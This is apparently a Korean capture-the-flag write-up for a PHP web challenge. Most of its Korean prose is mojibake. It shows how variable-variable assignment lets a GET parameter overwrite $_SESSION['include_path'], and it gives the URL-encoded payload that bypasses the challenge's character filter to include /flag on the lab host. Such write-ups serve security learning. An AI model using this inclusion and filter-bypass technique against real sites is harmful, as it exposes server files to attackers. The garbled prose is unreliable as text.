0x01 ๋ฌธ์ ์ค๋ช
0x02 ํ์ด ๊ณผ์
์ฒจ๋ถ๋ ์์ค์ฝ๋๋ฅผ ๋ณด๋ฉด, index.php
์์ $_SERVER[’QUERY_STRING’]
์ ํตํด ์ฟผ๋ฆฌ ์ ๋ณด๋ฅผ ๋ฐ์์ค๊ณ , config.php
์์ ๋ฌธ์ ํํฐ๋ง์ ์งํํ๋ค. ๋ง์ง๋ง์๋ include($_SESSION['include_path'])
๋ก nav.php
๋ฅผ ๋ถ๋ฌ์จ๋ค. ์ทจ์ฝ์ ์ index.php
์์ ๋ฐ์ํ๋ค.
foreach($arr as $key=>$value){
$$key = fuck_path_change_or_check($value);
}
$$
๋ php์ ๊ฐ๋ณ๋ณ์ ์ ์ธ ์ ์ฌ์ฉํ๋ ๊ตฌ๋ฌธ์ด๋ค. ์ฌ๊ธฐ์ $_SESSION[’include_path’]
์ ๋ฎ๋๋ค๋ฉด ์ํ๋ ๋ก์ปฌ ํ์ผ์ ๋ถ๋ฌ์ฌ ์ ์๋ค.
GET ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด ๊ณต๊ฒฉ์ ์ํํ์๋ค. GET ํ๋ผ๋ฏธํฐ๋ ๋ฐฐ์ด, ๋์ ๋๋ฆฌ ๋ํ ๊ฐ์ผ๋ก ์ ๋ฌํ ์ ์๋ค. ์ด๋ฅผํ ๋ฉด ์๋์ ๊ฐ์ ์์ด๋ค.
abcd.com?array[a]=1&array[b]=2
array(
[a] => 1
[b] => 2
)
http://web.h4ckingga.me:10013?_SESSION[include_path]=/flag
ํํฐ๋ง์ ์ฐํํด์ผ ํ๋ค. _
, SESSION
๊ทธ๋ฆฌ๊ณ /
๊ฐ ํํฐ๋ง ๋๊ณ ์์ด, URL encoding ํ์ฌ ์ฐํํ์๋ค.
http://web.h4ckingga.me:10013?%5f%53ESSION[include%5fpath]=%2fflag
0x03 ๊ฒฐ๊ณผ ํ์ธ
- FLAG
- H4CGM{adsfasdfadsfadsfasdfasdf}
0x04 ํ๊ณ ๋ฐ ์ฐธ๊ณ ๋ด์ฉ
๋ณต์กํ ์ดํด ์์ด ๋จ์ํ๊ฒ ์๊ฐํ๋ ํ๋ฆฐ ๋ฌธ์ ์๋ค. ํํฐ๋ง์ ๊ดํ์ฌ ์ฐจ์ธฐ ์ ๋ฆฌํด์ผ๊ฒ ๋ค๋ ์๊ฐ์ด ๋ค์๋ค.
'wargame ๐ดโโ ๏ธ write-up > H4CKING GAME' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Web Hacking] Calculator v2 (0) | 2025.01.02 |
---|---|
[Web Hacking] Smuggling (0) | 2024.12.30 |
[Web Hacking] Calculator (1) | 2024.12.19 |